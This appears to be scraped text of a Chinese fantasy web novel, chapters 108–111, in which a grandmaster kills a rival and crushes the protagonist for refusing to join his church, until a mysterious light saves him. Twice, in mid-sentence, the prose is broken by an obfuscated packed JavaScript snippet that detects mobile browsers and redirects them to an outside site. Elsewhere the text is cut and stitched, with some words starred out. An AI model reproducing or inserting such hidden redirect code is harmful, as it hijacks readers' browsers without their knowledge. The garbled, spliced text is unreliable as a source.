她浑身上下的每一寸肌肤都像是被无数根冰冷的铁链紧紧锁住,那些锁链细如发丝,却坚不可摧,深深嵌入她的血肉之中,让她连动一下手指都难如登天。 体内的能量在这股压力下瞬间凝滞,像是被冰封的河流,连最细微的流动都停止了。 别说活动身躯,就连每一次呼吸都变得异常艰难,胸腔仿佛被一只无形的大手攥住,每吸入一口冰冷的空气,都如同吞下无数根细针,刺得她喉咙生疼。 “白镜**。”雨萱的声音带着难以抑制的颤抖,却不敢有丝毫隐瞒,老老实实地回答。 她的额头渗出细密的冷汗,刚一冒出便被山巅的寒气冻结成细小的冰晶,贴在皮肤上,带来一阵刺骨的寒意。 在这种时候,任何谎言都显得苍白无力。 雨萱很清楚,以大宗师的实力,恐怕在他踏入凉风之山的那一刻起,这山中发生的一切便已经在他的掌控之中,自己的任何隐瞒都不过是徒劳,只会招来更可怕的后果。 他现在的提问,不过是明知故问罢了,或许只是想看看自己是否还有胆量撒谎。 “哦,还算老实。”白磬平静地说道,语气听不出喜怒。他的目光依旧停留在雨萱身上,像是在审视一件物品,仔细地观察着她的每一个细微反应。 “所以他是死在你的手里的吗?”白磬继续问道,声音里依旧没什么波澜,但那潜藏的威压却又加重了几分,让雨萱的身体不由自主地开始发抖。 “大宗师何必明知故问呢?”雨萱勉强挤出一个苦涩的笑容,嘴角的肌肉因为过度紧张而微微抽搐着。 她知道,自己此刻的任何辩解都是多余的,对方既然问出这句话,想必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裸露在外的皮肤像是被无数根冰针反复穿刺,连骨髓里都透着寒意。可这份能冻裂岩石的酷寒,和白磬身上散发出的那股无形威压比起来,竟如同春日暖阳般温和。 方才雨萱倒下时溅起的雪沫还悬在半空,尚未落回地面。 一个距离宗师之境只有一步之遥的大师级能力者,在白磬手下连一息都没撑过,那根随意点出的手指轻得像拂去衣上落雪,却带着不容抗拒的决绝。 鲜血在雪地上晕开的红梅迅速被寒气冻结,边缘泛起青黑色的冰碴,仿佛在无声诉说着大宗师的漠然——他动手时甚至没有丝毫犹豫,就像碾死一只挡路的冰蚁。 张玉汝望着那具迅速僵硬的尸体,喉结不自觉地滚动了一下。 或许在大宗师眼里,所谓的大师级能力者,真的就只是个头稍微大些、爬得稍快些的蚂蚁而已。 抬手碾死,无需动用半分真力,更不必费神多想。 当白磬的目光终于从冰原上的血迹移开,转而投向张玉汝时,他甚至能清晰地听见自己心脏撞碎冰壳的声音。 张玉汝深吸一口气,将最后一丝侥幸压进心底,他做好了身死道消的准备,至少不能死得太过狼狈。 然而预想中的致命一击迟迟未到。 白磬只是静静地站在那里,目光如两道深邃的冰泉,细细打量着他。 那目光里没有杀意,反倒带着一种审视器物般的平静,仿佛在评估一块未经雕琢的璞玉,从他冻得发紫的耳垂,再到发丝间凝结的冰棱,连最细微的细节都没放过。 山巅的罡风卷着雪粒掠过冰崖,发出呜呜的低鸣,像是在为这诡异的沉默伴奏。 “想活下去吗?”白磬终于开口,声音依旧平淡,却像一块投入冰湖的石子,在张玉汝心湖里激起千层浪。 张玉汝猛地抬起头,睫毛上的冰碴簌簌掉落。 他迎上白磬的目光,没有丝毫躲闪,喉间滚动了许久才挤出一句实话:“如果有可能的话,当然想。” 白磬的嘴角似乎勾起了一抹极淡的弧度,快得让人以为是错觉:“你杀了我的血脉后人,杀了自然教会悉心培养的潜力新星,手上沾着这么多血,竟然还想活下去吗?”话语里带着几分诘问,目光却依旧平静,仿佛在陈述一个无关紧要的事实。 “想要活下去的话,就加入自然教会吧。”白磬的声音陡然变得清晰,在风雪中掷地有声,“你的根骨、你的悟性,比那几个废物要高得多。与其让你烂在外面,不如为教会所用。” 他的语气里带着一种理所当然的笃定,仿佛这不是提议,而是一道不容拒绝的命令。 第 109章 卧薪尝胆 白磬当真存过要取张玉汝性命的念头吗? 答案是肯定的,至少在最初的那段时间里,这个念头在他心中盘桓不去,甚至一度颇为炽烈。 要探究这背后的缘由,便不得不提白镜——这个既是他血脉延续的后人,更是他倾注了心血精心雕琢的璞玉。 在白磬心中,白镜早已被默认为白家未来的擎天柱石,他所期盼的,是让白镜顺利接过自己手中的衣钵,成为白家继他之后又一位站在金字塔顶端的大宗师级能力者。 为了这个关乎家族兴衰的宏伟计划,白磬从未有过丝毫懈怠。 要知道,以他大宗师的尊位,寻常子弟哪怕是想得到他只言片语的指点都难如登天,可他却甘愿放下身段,日复一日地亲自督导白镜修行。 从基础心法的吐纳调息,到高阶招式的拆解演练,再到实战经验的复盘总结,事无巨细皆由他亲力亲为。 不仅如此,他还动用了家族积累的海量资源为白镜铺路,小到能洗髓伐脉的珍稀灵药,大到能模拟各种极端环境的修炼秘境,只要对白镜的成长有益,便从不吝惜。 起初,一切都如白磬所规划的那般顺风顺水。 白镜也确实展现出了惊人的天赋与毅力,悟性极高,一点就透,修行进度一日千里。 在整个自然教会的年轻一辈中,他如同鹤立鸡群般耀眼,无论是同辈间的切磋较技,还是外出执行的历练任务,总能拔得头筹,早早便成了众人眼中公认的“天之骄子”。 然而,豫州那次看似寻常的行动,却成了这场完美计划的转折点。 谁也未曾料到,白镜会在与姜南云的交锋中败得那般狼狈——几乎毫无还手之力,如同土鸡瓦狗般被对方轻易碾压。 这场惨败所带来的冲击,远不止表面上的胜负那么简单。 姜南云那深不可测的实力,如同一道无形的枷锁,在白镜心底烙下了难以磨灭的阴影,最终凝结成了一道顽固的心魔。 正是这道心魔,让原本势如破竹的白镜在大师级境界戛然而止,任凭他如何苦修,境界瓶颈都如铜墙铁壁般难以撼动。 要知道,按照白磬最初的推演,以白镜的资质与资源倾斜,本该在两年前就顺利冲破桎梏,晋升为令人敬畏的宗师级能力者。 如今这般停滞不前,无疑让整个计划的进度严重滞后。 面对白镜这副颓唐模样,白磬的心中自是五味杂陈。 他对白镜的不争气心生不满,不喜他没能跨过那道坎,好几次在密室中看着白镜修行的影像,都忍不住攥紧了拳头,眼底闪过掩饰不住的怒火。 但即便如此,他终究还是没能狠下心彻底放弃这个晚辈。 “年轻人嘛,总要在跌跌撞撞中才能真正成长,白镜或许只是需要更多的历练来磨掉这股怯懦吧。” 白磬常常这样对自己说。 只是他自己也清楚,这份“不放弃”的背后,更重要的原因是他早已付出了太高的沉没成本。 这些年来,为了栽培白镜,他投入的时间、精力、资源早已是天文数字,更别提那些因优先供给白镜而错失的其他培养机会。 若是在这个时候放弃,就意味着之前的所有付出都将付诸东流,数十年的心血可能落得个竹篮打水一场空的结局。 不过白磬也不打算吊死在一棵树上。 凉风之山的试炼,于白磬而言,既是给白镜的一次破局之机,更是一场决定其命运走向的严苛考验。 这座终年被寒雾笼罩的险峻山脉,藏着能助修行者勘破心魔、冲击境界的秘辛,而玄霜云珀,更是与此地灵韵相得益彰的关键宝物。 他心中自有盘算:若白镜能在凉风之山的绝境中勘透心障,携玄霜云珀的力量成功冲破桎梏,晋入宗师之境。 那么即便此前有诸多不如意,他也愿意压下心中的不满,正式认下这个倾注了无数心血的后辈,让其名正言顺地站在白家未来的序列里。 可若是白镜依旧扶不起,在这般天时地利的加持下仍无法突破,那便只能说明,这孩子终究难堪大任,不值得再投入更多资源。 到了那时,白磬的态度也早已定下——不必再费心雕琢,只需将其扔到家族产业的某个角落,让他靠着漫长岁月的蹉跎,一点点磨出个宗师境界来。 往后余生,便在白家的体系里按部就班地效力,以此偿还这些年家族为他付出的心血,仅此而已。 毕竟,在白磬漫长的培养生涯里,白镜并非第一个让他失望的对象。 如今白家现存的宗师级能力者中,有近三分之二都曾是他亲手点拨过的苗子。 只是这些人最终或是天赋受限,或是心性不足,未能达到他预期的高度,才渐渐淡出了核心培养序列。 大宗师的寿元本就远超常人,白磬有的是时间等待。 这一代不成,便再从宗族子弟中寻觅璞玉,从头开始培养便是。 于他而言,家族的传承如同长河奔涌,一时的波折无法避免,只要方向不错,总会有能扛起大旗的后人出现。 踏入凉风之山前,白磬曾反复告诫自己,早已为所有可能的结局做好了万全的心理准备。 无论白镜最终是破壁成器,还是依旧困于泥沼,他都有足够的定力坦然接纳。 毕竟,这世间从没有绝对顺遂的培养之路,即便是大宗师,也得学会接受计划之外的变数。 可当白镜那具尚有余温的尸体真的出现在眼前时,他才发现,所谓的“心理准备”在亲眼所见的冲击下,竟如此不堪一击。 冰冷的杀意混杂着难以遏制的怒火,瞬间冲垮了他刻意维持的平静。 饶是活了数百年、见惯生死的大宗师,也忍不住在心底狠狠啐了一声:“废物!” 竞争不过别人也就罢了,修行之路本就藏着输赢胜负,一时的技不如人尚可理解。 可连自己的性命都保不住,平白死在这荒山野岭之中,这等连苟活都做不到的货色,简直是对白家血脉的玷污! 这些年倾注的心血、耗费的资源、规划的蓝图……瞬间都成了泡影,只留下满目的荒唐。 这股被愚弄般的愤怒灼烧着他的理智,只觉得从前在白镜身上浪费的每一刻时间、每一丝精力,都成了对自己最大的嘲讽。 但怒意翻腾间,一股更深沉的宗族执念压了上来。 再是废物,白镜身上流的也是白家的血,是他亲手纳入培养序列的后辈。 白家的人,纵是要清理门户,也轮不到外人来动刀。 这是刻在骨血里的规矩,容不得半点践踏。 他眼神一寒,指尖微动间,便已了结了一旁的雨萱。 那动作轻描淡写,仿佛碾死一只碍眼的蝼蚁,紧接着,冰冷的目光便投向了不远处的张玉汝——按照最初的怒意,这本应是下一个亡魂。 可就在他的视线扫过张玉汝的身形、气息,乃至他身上那若有若无的灵韵波动时,那些细微到常人难以察觉的特质,却如同一颗石子投入静水,在他心中漾开了奇异的涟漪。 白磬的目光骤然凝住,方才还躁动的杀意悄然敛去,一个全新的念头,正顺着那些被他捕捉到的细节,悄然在心底成型。 他改了主意,而且是瞬间做出的、连自己都觉得有些意外的决定。 在大宗师级的绝对实力面前,大师级能力者的一切几乎都无所遁形。 白磬仅仅是扫过张玉汝周身,便从他衣襟上未散的血气、发丝间沾着的山泥、以及那隐在气息深处的细微能量波动里,将此前凉风之山中发生的一切拼凑完整——包括那场以弱胜强的逆斩。 以大师级的段位,竟能正面斩落宗师级能力者?这等越级搏杀的狠劲与天赋,分明是块天生的大宗师料子! 更让白磬心头一动的是,这张玉汝与白镜截然不同。 白镜的成长,处处离不开家族资源的堆砌,如同温室里精心浇灌的花木,稍经风雨便可能折损。 可张玉汝身上那股凌厉的锐气,却像是在荒野中硬生生劈开荆棘闯出来的,带着一股不依赖外物、仅凭己身便能杀出一条血路的狠厉。 这般对比之下,昔日在他眼中还算璞玉的白镜,此刻竟显得像块顽劣的土块,黯淡无光。 白磬的目光在张玉汝身上停留许久,心中已悄然盘算起新的可能。 若是这小子识趣,愿意归入白家麾下,以自己的手段,未必不能为他铺路,让他最终承接自己的衣钵。 至于白镜之死的仇怨?在真正的天才面前,那点纠葛又算得了什么? 大宗师的格局里,从没有过不去的恩怨 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他望着白磬那双深不见底的眸子,只觉得那里面翻涌的不是善意,而是一张无形的网,正等着自己心甘情愿地钻进去。 接受?这个词在舌尖滚了又滚,带着铁锈般的涩味。 他张玉汝什么时候沦落到要靠依附仇敌才能活下去的地步? 可视线扫过不远处白镜冰冷的尸体,还有雨萱倒下时那双圆睁的眼,一股寒意顺着脊椎爬上来——不接受,恐怕下一秒就会步上他们的后尘。 “忍辱负重……”他在心里默念这四个字,像是在咀嚼一块坚硬的冰。 古往今来,多少成大事者不都熬过这样的时刻? 卧薪尝胆的故事他从小听到大,勾践能为夫差牵马坠蹬,最终不还是报了国仇家恨?自己这点委屈又算得了什么? 只要活下来,只要能留在白磬身边,总有一天能找到他的破绽,总有机会拿回属于自己的一切。 念头刚起,另一个声音又在耳边炸开:你忘了那些被自然教会**的人了吗?忘了那些死在他们手里的同胞了吗?现在要你摇尾乞怜,你对得起谁? 他猛地闭了闭眼,逼退眼底的涩意。 对得起谁?先对得起自己这条命再说! 神州国那边早已没有他的容身之地,天人的追杀令至今悬在头顶,官方视他为异端,他早就像片无根的浮萍。 那些所谓的“忠诚”,在生死面前一文不值。他连回去的路都被堵**,难道还要抱着那点虚无的骨气,死得不明不白? 更何况……他忽然想起白磬提到“承接衣钵”时的眼神。 若是能借着这个机会混入白家核心,甚至接触到自然教会的顶层谋划呢? 那些藏在暗处的阴谋,那些荼毒生灵的计划,他或许能亲手将其搅乱。 潜入虎穴,伺机而动,这难道不是比逞一时之快更有意义的事? 他深吸一口气,试图让胸腔里翻腾的气血平复下来。 接受邀请,就意味着要戴上假面,说尽违心的话。 可这又如何?成大事者不拘小节,一时的隐忍,是为了将来更彻底的反击。 手指渐渐松开,掌心留下几道弯月形的血痕。 他告诉自己,这不是投降,是蛰伏。 就像寒冬里的草籽,把根扎进泥土里,熬过最冷的时节,总有破土而出的一天。 白磬以为掌控了一切,可他未必知道,自己埋下的不是顺从的棋子,而是一颗随时可能引爆的雷。 “没什么可犹豫的。”张玉汝在心里对自己说,一遍又一遍,像是在给即将出征的士兵壮胆。 活下去,才有机会;活下去,才能复仇;活下去,才能让那些轻视他、追杀他、算计他的人,付出该有的代价。 他缓缓抬起头,迎上白磬的目光,努力让自己的眼神看起来平静,甚至带着一丝恰到好处的“识时务”。 可只有他自己知道,那平静的表象下,有多少不甘在燃烧,有多少挣扎在撕扯——而这一切,都将被他死死压在心底,直到合适的那一天到来。 在白磬期待的目光之中,张玉汝缓缓开口道:“我拒绝。” 第 110章 高于生死 “好,识时务者为俊杰,既然接受的话,那么……”白磬的语气依旧温和,带着一种掌控一切的从容,那声音如同春风拂过湖面,让人几乎要沉溺在这份虚假的和煦之中。 他显然已经在脑海里勾勒好了接下来的安排,甚至连后续如何引导张玉汝融入白家、逐步交接权力都有了大致的轮廓。 可话音未落,他脸上的笑容忽然僵住,像是被无形的冰锥刺中。那温和的眼神瞬间凝固,瞳孔微微收缩,仿佛听到了世间最不可思议的事情。 “这小子刚才说什么?拒绝?”白磬终于反应过来,他甚至怀疑自己是不是因为白镜之死而心神不宁,才出现了幻听。 他盯着张玉汝,试图从对方脸上找到一丝玩笑的痕迹,可映入眼帘的,只有一片平静的决绝。 “好好好,你好的很啊!”白磬突然笑了起来,只是那笑声里没有半分暖意,反而带着山雨欲来的狂暴。 那笑声在空旷的山谷里回荡,撞在冰冷的岩石上,碎成无数尖锐的棱角,刺得人耳膜生疼。 在他看来,张玉汝这番举动简直是在公然挑衅——明明摆出了顺从的姿态,却在最后一刻给出这样的答案,这不是耍他是什么? 这是在践踏一位大宗师的尊严,是在将他的善意和规划当成笑话。 “真是个十足的蠢货!”白磬的声音陡然转冷,那三个字像是淬了冰,带着毫不掩饰的鄙夷。 他实在无法理解张玉汝的选择,放着眼前的康庄大道不走,偏要一头撞向死胡同,这不是愚蠢是什么? 或许在那些流传于市井的故事里,当主角展现出宁死不屈的气节时,会赢得对手的尊重与欣赏,甚至可能因此换来一线生机。 但白磬从不相信这些。在他漫长的生命里,见过太多因所谓的“气节”而殒命的人,在他眼中,那些为了虚无缥缈的尊严、道义,而放弃大好前程、甚至牺牲生命的行为,简直是愚不可及。 一个拥有顶级天赋、本该在修行路上大放异彩的能力者,却要为了那些看不见摸不着的东西葬送自己,这是对自己好意的辜负,更是对自身价值的践踏。 “敬酒不吃吃罚酒,既然你自己想死,那就给我**吧。”白磬的耐心彻底耗尽,他随意地摆了摆手,那动作轻描淡写,就像在驱赶一只烦人的苍蝇。 就在他抬手的瞬间,一股沛莫能御的力量凭空而生,如同无形的巨掌,带着毁天灭地的威势,以张玉汝为中心骤然收紧、重重下压。 空间在这一刻被压缩到极致,发出不堪重负的呻吟,周围的山石都在这股力量的冲击下簌簌颤抖。 张玉汝甚至来不及做出任何反应,连惨叫都没能发出,身体便在这股恐怖的力量下瞬间扭曲、变形,从一个鲜活的三维立体,被硬生生压成了一张紧贴在地面上的二维平面,仿佛一幅被强行拓印在大地上的血色图案。 大宗师级能力者的力量,便是这般横压世间的不可一世。不过是随手一挥,便将足以媲美宗师级的张玉汝摧残至此,仿佛这等程度的碾压,于他而言不过是碾死一只蚂蚁般轻松。 若用那等荒诞的地狱笑话来形容,此刻的张玉汝,恐怕已经成了名副其实的“张玉汝酱”。 他浑身的骨骼早已在那股沛莫能御的巨力下碎成粉末,曾经坚韧的经络如同被狂暴洪流冲垮的堤坝,寸寸断裂,连五脏六腑也几乎被震得粉碎,若非那远超寻常大师级能力者的强悍体魄还在本能地维系着最后一丝生机,他早已是一具冰冷的尸体。 可这苟延残喘,与其说是生机,不如说是将痛苦无限延长。每一次微弱的呼吸,都像是在拉动无数根扎进血肉里的钢针,剧痛顺着神经末梢蔓延至四肢百骸,让他连昏死过去都成了奢望。 就在这时,张玉汝体内那早已融入血脉的“枯木逢春”忽然有了动静。 点点莹白的光辉从他残破的身躯深处渗出,如同初春解冻的第一缕暖阳,带着温和却坚韧的力量,一点点渗透进他破碎的肌理、断裂的经络,甚至是那些化为粉末的骨骼碎屑之间,开始缓慢而执着地修复着这具濒临毁灭的躯壳。 这细微的变化,自然逃不过白磬那双洞察秋毫的眼睛。 他眉头微挑,心中已然有了判断:以“枯木逢春”的效力,再加上张玉汝本身的体魄根基,若是就这么将他丢在这里不管,约莫一个时辰之后,这小子便能恢复七七八八,到时候又是一条能与宗师级抗衡的好汉。 一丝惜才之心悄然在白磬心底升起。方才他已是铁了心要将这不知好歹的小子彻底抹杀,可眼下见着这等惊人的恢复力与潜藏的韧性,那份杀意竟不由自主地淡了几分。毕竟,如此天赋异禀的苗子,杀了终究还是可惜。 “我再问你一次,你是接受还是拒绝。”白磬的声音在山谷中回荡,少了几分之前的暴怒,多了一丝不容置疑的威严。他愿意再给张玉汝一次机会,一次踩着尊严换取生机与前程的机会。 意识如同在惊涛骇浪中漂泊的孤舟,时而被剧痛的巨浪拍打入漆黑的深渊,时而又被“枯木逢春”的微光勉强托出水面。 张玉汝在混沌中捕捉到了白磬的声音,那声音像是带着某种魔力,试图将他从痛苦的边缘拉回,却又在另一端系着他最不愿低头的枷锁。 他没有立刻回答,破碎的喉咙里只能发出嗬嗬的气音,像是风中残烛在做最后的挣扎。 脑海里,之前那些劝自己接受的念头再次翻涌上来:活下去,只要活下去就有机会,忍一时之辱,将来才能…… 可这些念头刚冒出来,便被另一种更强烈的意志碾碎。 那是一种深入骨髓的倔强,是哪怕粉身碎骨也不愿弯下的脊梁。他想起了那些因自然教会而家破人亡的无辜者,想起了自己一路走来所坚守的底线,若是此刻低头,那之前所有的挣扎与坚持,岂不成了一个天大的笑话? 白磬也没有催促,只是静静地站在那里,眼神平静地注视着地上那摊模糊的血肉,仿佛在观察一件有趣的实验品。他有的是耐心,毕竟,在绝对的力量面前,猎物的任何反抗,最终都只会沦为徒劳。 时间在这诡异的沉默中一点点流逝,每一秒都像是在张玉汝的神经上缓慢切割。 他能清晰地感觉到“枯木逢春”的力量在不断修复着身体,也能清晰地感觉到那份来自白磬的、如同悬顶之剑般的压迫感。 接受,便能摆脱这撕心裂肺的痛苦,甚至能获得常人难以想象的资源与地位;拒绝,等待他的,恐怕便是彻底的湮灭,连一丝痕迹都不会在这世间留下。 这道选择题,简单得不能再简单,可张玉汝的内心,却像是经历了一场旷日持久的鏖战。 “为什么不接受对方的邀请呢?”这个念头如同藤蔓般缠上张玉汝的意识,带着几分蛊惑,几分不甘。 他费力地转动着混沌的思绪,一遍又一遍地盘算着其中的利弊——无论从哪个角度看,加入自然教会似乎都是稳赚不赔的买卖。 神州国官方控制的区域早已对他关上了大门,天人的追杀令如同悬顶之剑,让他连靠近的勇气都没有;曾经栖身的混乱之地更是龙潭虎穴,弱肉强食的法则时刻都在威胁着他的性命。 而他与天道教之间的旧怨,想要清算不知要等到何年何月。 反倒是自然教会,在白镜被自己斩杀后,若有白磬从中斡旋,彼此间的芥蒂竟成了最少的。 若是能借此机会跻身白家核心,执掌自然教会的部分力量,说不定真能集齐足以撼动天人的资本。 那些高高在上的天人,那些视人类为蝼蚁的存在,他未尝不能借着这股势力,将他们拉下神坛,讨回这些年欠下的血债。 这般优渥的条件摆在眼前,不选的话,的确如白磬所说,是十足的愚蠢。 若是那个还在苦思生存之道的自己,恐怕早已点头应下,将隐忍当作武器,在蛰伏中等待反击的时机。 可经历过那意识海当中的百年沉寂,张玉汝心中那些曾百思不得其解的困惑,已然得到了解答。 历史的长河里,从不缺卧薪尝胆的勾践,三千越甲终吞吴的故事被传唱千古;可也有不肯过江东的项羽,在尚有一线生机时,选择了自刎乌江。 前者因隐忍成就霸业,后者因傲骨定格传奇,两种截然不同的选择,却都在时光里刻下了自己的印记。 世人常说历史由胜利者书写,只要能笑到最后,便能随意装扮过往,无人敢置喙。 可张玉汝在那百年的沉寂里渐渐明白,这世间总有些东西,比生死更重,比胜败更烈。 那是深入骨髓的执念,是刻在灵魂里的底线,容不得半分妥协。 其实于他而言,拒绝白磬的理由其实简单得可笑——不过是本能地不愿低头罢了。 过去的种种已成定局,他无力更改;但未来的走向,他想牢牢握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067339|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己手中。 “及以心为形役,奚惆怅而独悲。”陶渊明的诗句忽然在脑海中浮现,带着穿透时空的力量。 他不愿让心灵被躯体的欲望裹挟,更不愿为了苟活而沦为他人的傀儡,那样的活着,比死亡更令人悲哀。 他没有抬头,也没有开口,只是缓缓闭上了双眼。 那双眼睑闭合的瞬间,仿佛隔绝了尘世的纷扰,只剩下一份近乎执拗的平静。 白磬看着他这副模样,脸上没有丝毫意外,仿佛早已料到会是这般结局。 “还是拒绝吗?那就上路吧。”他的声音平淡得像是在谈论天气,没有愤怒,没有惋惜,只有一种尘埃落定的漠然。 生命的气息在张玉汝体内飞速流逝,意识如同风中残烛般摇摇欲坠。他没有像常人那般回顾一生的起落,也没有为未竟的心愿感到遗憾,脑海里反而蹦出一个带着几分戏谑的念头:“沟槽的凉风之山,到了这种时候还想骗我。” 或许是这山间的雾气太过浓重,或许是临死前的幻觉太过真实,他总觉得这座吞噬了无数生灵的山脉,正咧着嘴嘲笑他的固执。 可那又如何?至少在最后一刻,他守住了自己想守的东西,这就够了。 白磬的指尖微微抬起,没有惊天动地的气势,也没有翻江倒海的异象,只是那只看似平常的手掌落下时,周遭的空气都仿佛被抽离,形成了一个无形的力场。 这一次,他没有再留丝毫余地,大宗师级的威压如同实质的山峦,朝着张玉汝残破的身躯狠狠压下。 那股力量并非狂暴肆虐,而是带着一种不容抗拒的决绝,像是在执行一场早已注定的审判。 张玉汝能清晰地感觉到,自己体内那点仅存的生机正在被这股力量无情地挤压、碾碎,“枯木逢春”散发出的白色光辉在这股力量面前如同萤火般微弱,闪烁了几下便彻底熄灭。 生命正在飞速流逝,就像指间的沙,无论如何用力都无法挽留。 张玉汝的意识开始变得模糊,身体的剧痛渐渐消退,取而代之的是一种前所未有的轻盈。 他感觉自己的身体正在一点点瓦解,化作无数细小的微粒,融入这凉风之山的泥土、岩石和空气之中。 原来,回归天地自然是这种感觉。 他仿佛听到了山间风的呼啸,那声音不再冰冷刺骨,反而像是母亲的呢喃;他仿佛闻到了泥土的芬芳,混杂着草木的清香,那是最原始、最纯粹的气息。 尘归尘,土归土,或许这样的结局也不错,至少不用再背负那么多的恩怨和执念,不用再在世间颠沛流离。 他的意识如同一片羽毛,在虚空中缓缓飘落,没有方向,也没有目的,只是静静地感受着这种彻底的放松。 那些曾经的仇恨、不甘、挣扎,此刻都变得遥远而模糊,仿佛是上辈子的事情。他甚至觉得,这样的消亡,或许比苟活于世更能让他得到解脱。 就在张玉汝的意识即将彻底消散,与这片山脉融为一体时,一点微弱的灵光毫无征兆地在他意识的最深处亮起。 那灵光极其细微,如同黑暗中不慎掉落的星火,却带着一种难以言喻的温暖和韧性。 起初,它只是静静地待在那里,不张扬,不耀眼。 但片刻之后,它突然挣脱了束缚,以一种惊人的速度向上攀升。 穿过张玉汝即将消散的意识,穿过他残破的身躯,穿过凉风之山厚重的云层,最终冲破了灰暗的天空。 刹那间,一点璀璨的光芒在灰暗的天幕上绽放开来,如同黑夜里突然升起的星辰,瞬间照亮了整个凉风之山。 那光芒并不刺眼,却带着一种涤荡一切的力量,让山间的寒风都仿佛变得温柔了几分,连空气中弥漫的血腥和腐朽气息,似乎都被这光芒净化了不少。 白磬原本平静的脸上第一次露出了惊愕的神色,他抬头望向天空中那点突如其来的灵光,眼神中充满了疑惑和不解。 他能感觉到,这灵光中蕴含着一种他从未见过的力量,既不属于自然教会的秘法,更不是眼前这小子的神通。 而处于弥留之际的张玉汝,也被这突如其来的光芒所惊动。那光芒仿佛一道桥梁,将他即将消散的意识重新拉了回来。 他模糊的意识中,似乎有什么东西正在被这光芒唤醒,一种沉睡了许久的记忆,或是一种潜藏在灵魂深处的力量,正在悄然复苏。 第 111章 重若泰山 白磬双眼微眯,眼缝骤然缩成两道狭长的弧线,那里面翻涌的危险光芒,如同蛰伏在深渊中的猛兽终于露出了獠牙。 身为大宗师级能力者,无论在世界的哪个角落,都是站在金字塔尖的绝对强者。 放眼天下,绝大多数泰斗级人物早已不问世事,潜心修行,因而大宗师便成了这世间秩序的实际掌控者,一举一动都足以影响一方格局。 而白磬,即便是在群星璀璨的大宗师行列里,也算得上是最顶尖的那一拨战力。 他的实力深不可测,一手奠定了白家在自然教会中的显赫地位,自身更是教会里举足轻重的核心人物,跺跺脚便能让整个雪域高原抖三抖。 常年身居高位,让他身上自然而然地沉淀出一种独属于上位者的威严。 那是一种无需刻意显露,便足以让人心生敬畏的气场,如同无形的枷锁,约束着周遭所有人的言行。 这威严是他权力的象征,是他地位的基石,绝容不得半点冒犯——谁要是敢捋虎须,谁要是敢挑战他的权威,等待对方的,必然是最凶残、最彻底的反击,连一丝转圜的余地都不会有。 可今天,就在这自然教会的主场雪域高原,在他白磬亲自坐镇的昆仑山脉凉风之山内部,短短一天之内,他竟然接连遭遇了三次打脸。 白镜身死,是对他培养计划的公然嘲讽;张玉汝两次拒绝,是对他权威的直接蔑视;而此刻这道突兀的灵光,更是在他眼皮子底下,试图颠覆他定下的结局。 要知道,过去整整百年,他被人如此折辱的次数加起来,恐怕都未必有今天这一日多。 一股难以遏制的怒火从心底喷涌而出,顺着血脉蔓延至四肢百骸,让他周身的空气都开始微微震颤。 大宗师的面子就如此不值钱?他白磬的威严就可以被这般肆意践踏? **的念头如同疯长的野草,在他心中疯狂滋生。 但他终究是活了漫长岁月的老怪物,强行压下了瞬间的冲动。 能在他眼皮子底下弄出这般动静,甚至可能救下张玉汝的存在,实力必然不在他之下,说不定是那些隐世多年的大宗师,或是其他势力深藏的底牌。 在没摸清对方底细之前,轻举妄动绝非明智之举。 “是哪个藏头露尾的鼠辈?”白磬的声音如同淬了冰的钢锥,刺破了凉风之山的沉寂,在山谷间反复回荡。 那声音里听不出太多的怒意,却带着一种山雨欲来的压迫感,仿佛只要对方敢现身,便会立刻迎来雷霆万钧的攻击。 他的目光锐利如鹰,死死锁定着那道灵光升起的方向,周身的气势悄然攀升,做好了随时出手的准备。 白磬的质问在空旷的凉风之山中回荡许久,却没有得到任何回应,仿佛那道突然出现的灵光只是山间雾气凝结的幻象,又或是某位强者故意为之的戏耍。 与此同时,从张玉汝身体中升起的那道灵光愈发璀璨,它像一位温柔的医者,用细腻而强大的力量不断滋养着张玉汝濒临破碎的躯体。 那些早已碎裂成粉末的骨骼在灵光的包裹下,竟开始以肉眼可见的速度重新聚合、生长;断裂的经络如同被春雨滋润的藤蔓,缓缓舒展、连接;就连那些坏死的五脏六腑,也在灵光的修复下渐渐恢复了生机。 张玉汝原本微弱到几乎消失的气息,也随之一点点变得平稳、有力起来。 “视本座为无物吗?”白磬见状,心中的怒火再次被点燃,一声冷哼如同平地惊雷,在山谷中炸响。 他抬手一挥,一道银色的光束便从指尖射出,起初那光束细如发丝,可在飞行的过程中却以惊人的速度不断扩大,短短几个呼吸的时间,便变得如同小山一般粗细。 远处的丁璎珞躲在岩石后面,惊恐地看着这一幕,她能清晰地看到,那道银色光束的表面布满了无数如同蝌蚪般游动的符文,这些符文散发着古老而神秘的气息,显然蕴含着极为高深的封印术。 白磬这随手一击,看似简单,实则霸道无比。 这封印术乃是他压箱底的绝学之一,一旦被光束接触到,无论是什么物体,都会被强行剥离当前的空间,如同被放逐到无尽的虚空之中,彻底与周围的一切失去联系,永世不得归来。 他本以为,这一击足以将那道不知天高地厚的灵光连同张玉汝一起彻底抹去,让这场闹剧就此落幕。 然而,当那道蕴含着高深封印术的银色光束接触到那道灵光时,却发生了令人瞠目结舌的一幕。 没有惊天动地的碰撞,也没有能量的**,银色光束就像是一滴水融入了大海之中,悄无声息地消失了,连一丝涟漪都没有激起。 那些看似神秘强大的符文,在接触到灵光的瞬间便化作点点星光,消散在空气中。 白磬脸上的怒容瞬间凝固,原本凶狠的目光重新变得清澈起来,只是这清澈之中,多了几分前所未有的慎重。 